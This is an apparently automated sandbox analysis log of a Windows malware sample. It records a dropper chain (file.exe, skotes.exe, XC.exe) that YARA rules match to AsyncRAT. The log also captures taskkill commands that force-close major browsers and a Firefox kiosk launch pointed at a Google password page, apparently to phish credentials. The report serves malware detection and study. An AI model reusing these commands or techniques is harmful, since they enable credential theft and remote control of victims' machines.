Source: file.exe, 00000004.00000003.1464708830.00000000062D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454368605.0000000006269000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1451798748.0000000006177000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449121527.0000000006177000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1458413610.00000000062A0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454133216.0000000006264000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1463391555.00000000062BE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1456891580.000000000617C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1451439107.0000000006173000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453788831.0000000006256000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1455755068.0000000006379000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449369537.000000000621A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1452010998.0000000006172000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1455243127.0000000006288000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1448882116.000000000617A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1460386380.0000000006176000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454020790.000000000617F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1450433703.0000000006172000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1457888052.0000000006179000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1460192699.00000000062B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454971836.000000000636D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1456520794.00000000063AE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1450653797.00000000062D9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454490023.0000000006176000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1451293108.000000000623B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449288742.000000000617A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1451166486.0000000006177000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1458770938.0000000006180000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449705985.000000000622E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1459496545.00000000063F1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1457017679.0000000006296000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453905091.0000000006348000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1448649227.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1455413103.0000000006174000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453566060.0000000006252000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1455102227.0000000006181000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1463720311.0000000006174000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454246725.0000000006177000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1452259288.0000000006320000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1448962027.0000000006210000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1452752764.000000000625F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1450073477.000000000617B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1464280061.00000000063FF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1450346082.000000000622B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454733668.0000000006174000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1456769347.000000000629C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1456012149.000000000628F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1450838615.0000000006178000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1448577215.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1451536025.0000000006233000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1450171385.0000000006225000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1456148229.0000000006176000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1457226392.0000000006179000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1451908138.000000000624B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1459784738.00000000062B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449207867.0000000006214000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1463977498.00000000062B5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1458248799.0000000006176000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1458906808.00000000062AB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1454607340.0000000006267000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1448804046.0000000005FD6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1464513254.000000000617C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1474773836.0000000005D5C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1456643479.0000000006181000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449981740.00000000062CE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449889948.0000000006218000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1468857849.0000000006440000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1451667590.00000000062FA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1459081782.000000000617C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1458592938.00000000063CD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1450993523.000000000623D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453678973.0000000006174000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1455881901.0000000006180000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1452635600.0000000006178000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453452298.0000000006173000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1464839736.0000000006430000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1457372423.000000000629A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1452534137.0000000006254000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1457727941.0000000006299000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1465763940.0000000006172000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1460015973.000000000617B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1449535891.00000000062C1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1453357718.000000000625C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1455569456.0000000006277000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1459300969.00000000062AE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1459653406.0000000006180000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1452154065.0000000006246000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 17.0.XC.exe.d20000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000011.00000000.2209001966.0000000000D22000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\XC.exe, type: DROPPED Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe, type: DROPPED Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe, type: DROPPED Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: file.exe Static PE information: Section: ZLIB complexity 0.9980591202978056
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: Section: ZLIB complexity 0.9982757152588556
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: Section: vbrribkg ZLIB complexity 0.994386170857316
Source: skotes.exe.11.dr Static PE information: Section: ZLIB complexity 0.9982757152588556
Source: skotes.exe.11.dr Static PE information: Section: vbrribkg ZLIB complexity 0.994386170857316
Source: random[1].exe.15.dr Static PE information: Section: eqnrkxus ZLIB complexity 0.9945791657248343
Source: 0322d7d8d5.exe.15.dr Static PE information: Section: eqnrkxus ZLIB complexity 0.9945791657248343
Source: random[1].exe1.15.dr Static PE information: Section: ZLIB complexity 0.9980591202978056
Source: 44f3ff7773.exe.15.dr Static PE information: Section: ZLIB complexity 0.9980591202978056
Source: random[1].exe.15.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 0322d7d8d5.exe.15.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: XC[1].exe.15.dr, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC[1].exe.15.dr, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC[1].exe.15.dr, AlgorithmAES.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC.exe.15.dr, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC.exe.15.dr, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC.exe.15.dr, AlgorithmAES.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC.exe.17.dr, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC.exe.17.dr, Helper.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC.exe.17.dr, AlgorithmAES.cs Cryptographic APIs: 'TransformFinalBlock'
Source: XC[1].exe.15.dr, Settings.cs Base64 encoded string: 'tkrWfD7QNYZS1WmtMUQVS/oRPEOtRhSnl/k3VY3GbGz2tI+OSav5G2S6qS6PAB0i'
Source: XC.exe.15.dr, Settings.cs Base64 encoded string: 'tkrWfD7QNYZS1WmtMUQVS/oRPEOtRhSnl/k3VY3GbGz2tI+OSav5G2S6qS6PAB0i'
Source: XC.exe.17.dr, Settings.cs Base64 encoded string: 'tkrWfD7QNYZS1WmtMUQVS/oRPEOtRhSnl/k3VY3GbGz2tI+OSav5G2S6qS6PAB0i'
Source: XC.exe.17.dr, ClientSocket.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XC.exe.17.dr, ClientSocket.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XC.exe.15.dr, ClientSocket.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XC.exe.15.dr, ClientSocket.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XC[1].exe.15.dr, ClientSocket.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XC[1].exe.15.dr, ClientSocket.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@42/22@14/7
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.log Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Mutant created: \Sessions\1\BaseNamedObjects\Q6QXs3CM0drEuir0
Source: C:\Users\user\XC.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1580:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2708:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7796:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user~1\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000004.00000003.1337569142.0000000005CF3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1337448050.0000000005D00000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1321289862.0000000005D04000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1322033350.0000000005CD5000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2369764895.0000000005A6E000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354752417.0000000005A66000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A4A000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2370593993.0000000005A61000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 44%
Source: OXQ7QUWHYS3G7KHDRA2.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 44f3ff7773.exe String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696491690); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe String found in binary or memory: -RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeQ
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe "C:\Users\user~1\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe "C:\Users\user~1\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe"
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe "C:\Users\user~1\AppData\Local\Temp\1002930001\XC.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe "C:\Users\user~1\AppData\Local\Temp\1002931001\44f3ff7773.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe "C:\Users\user~1\AppData\Local\Temp\1002932001\0322d7d8d5.exe"
Source: unknown Process created: C:\Users\user\XC.exe "C:\Users\user\XC.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe "C:\Users\user~1\AppData\Local\Temp\1002933001\de31db656f.exe"
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe "C:\Users\user~1\AppData\Local\Temp\1002931001\44f3ff7773.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2340 -parentBuildID 20230927232528 -prefsHandle 2276 -prefMapHandle 2268 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {06be5e64-50ce-49f9-b024-2070e7e8a07b} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" 19a5816e710 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002934001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002934001\num.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe "C:\Users\user~1\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe "C:\Users\user~1\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe "C:\Users\user~1\AppData\Local\Temp\1002930001\XC.exe" Jump to behavior
